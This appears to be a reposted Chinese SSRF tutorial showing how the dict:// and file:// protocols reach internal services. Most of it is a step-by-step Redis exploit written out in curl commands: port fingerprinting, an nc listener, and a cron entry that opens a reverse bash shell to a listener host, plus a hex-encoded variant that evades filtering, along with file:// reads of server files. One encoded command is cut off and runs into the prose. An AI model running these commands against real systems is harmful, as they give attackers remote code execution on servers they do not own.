SSRF漏洞⽤到的其他协议(dict协议,file协议)
0x00 引⾔
当SSRF打内⽹reids时,若gopher协议⽤不了,我们也可以⽤其他协议
0x01 dict协议
⼀、定义:词典⽹络协议,在RFC 2009中进⾏描述。它的⽬标是超越Webster protocol,并允许客户端在使⽤过程中访问更多字典。Dict服务器和客户机使⽤TCP端⼝2628。(摘⾃百度百科)
⼆、学习参考链接:
使⽤ dictd 搭建 DICT 字典服务器
DICT协议全⽂
三、DICT协议在SSRF漏洞中使⽤
在SSRF利⽤中,gopher协议⽆疑是最好⽤的,但gopher协议的使⽤是有⼀定条件的,如下:
当gopher协议⽆法使⽤时,怎么办?这时候可以使⽤dict协议,我们先看执⾏效果:
由上图可以发现通过dict协议,可以看出⽬标端⼝的指纹信息,通过上图返回的指纹信息,可以明确,是6379的redis数据库。OK,现在我们知道,利⽤dict协议可以探测端⼝的开放情况和指纹信息,那么dict协议怎么进⼀步使⽤?有什
么语法?以下为dict协议的使⽤:
dict://serverip:port/命令:参数向服务器的端⼝请求为【命令:参数】,并在末尾⾃动补上\r\n(CRLF),为漏洞利⽤增添了便利通过dict协议的话要⼀条⼀条的执⾏,⽽gopher协议执⾏⼀条命令就⾏了。
明⽩利⽤⽅法后,我们可以使⽤dict协议执⾏命令,例如可以获取redis的变量
margine:~ margin$ curl dict://192.168.0.67:6379/get:name
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
$6
Margin
+OK
通过dict协议利⽤redis的未授权访问反弹shell的步骤如下:
# 1、开启反弹shell的监听
nc -l 9999
# 2、依次执⾏下⾯的命令
curl dict://192.168.0.119:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"
curl dict://192.168.0.119:6379/config:set:dir:/etc/
curl dict://192.168.0.119:6379/config:set:dbfilename:crontab
curl dict://192.168.0.119:6379/bgsave
执⾏时,反弹shell的命令,也就是set:mars:xxx,会因为特殊字符的原因⽆法写⼊到⽬标的redis中,被被空格所分割导致出现⼀下情况:
1584705879.520734 [0 172.17.0.1:44488] "set" "mars" "\\n\\n*" "*" "*" "*" "*" "root" "bash" "-i" ">&" "/d
ev/tcp/192.168.0.119/6789" "0>&1\\n\\n"
根据上图我们会发现,命令被分割了,看表象感觉像是被空格分割了。此时将反弹shell的命令进⾏⼗六进制转换,变为:
curl
dict://192.168.0.119:6379/set:mars:\"\\x0a\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x72\\x6f\\x6f\\x74\\x20\\x62\\x61\\x73\\x68\\x20\\x2d\\x69\\x20\\x3e\\x26\\x20\\x2f\\x64\\x65\\x76\\x2f\\x74\\x63\\x70\\x2f\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x30\\x2e\\x31\\x3以上单引号使⽤反斜杠\进⾏转移,其他数据进⾏⼗六进制编码,执⾏结果如下,可以发现没有错误了
1584706087.980465 [0 172.17.0.1:44490] "set" "mars" "\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n"
剩下的修改路径和⽂件名称的请求,正常执⾏即可
但很多时候我们利⽤ssrf漏洞去攻击内⽹服务器的时候,并不知道内⽹中有什么样的应⽤、IP地址是多少、开放了什么端⼝、端⼝对应的服务是什么。所以需要先对内⽹做IP+端⼝的扫描,如果开放的服务是redis才能使⽤上⽂讲到的利⽤
curl是什么命令⽅法,对于不同的应⽤有不同的扫描⽅法,例如,redis的扫描可以请求以下内容来根据回显内容进⾏
判断是否为redis,其他的服务也是同样道理,只要知道服务的指纹,然后与⾃⼰的指纹库进⾏⽐对即可:
curl dict://192.168.0.119:6379/
0x02 file协议
file协议主要⽤于访问本地计算机中的⽂件,命令格式为:
file://⽂件路径
使⽤file协议可以直接读取⽬标操作系统的⽂件,例如使⽤以下⽅法来读取
file协议读取⽂件
file协议和http协议有什么区别呢?
(1)file协议主要⽤于读取服务器本地⽂件,访问的是本地的静态资源
(2)http是访问本地的html⽂件,相当于把本机当作http服务器,通过http访问服务器,服务器再去访问本地资源。简单来说file只能静态读取,http可以动态解析
(3)http服务器可以开放端⼝,让他⼈通过http访问服务器资源,但file不可以
(4)file对应的类似http的协议是ftp协议(⽂件传输协议)
(5)file不能跨域

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。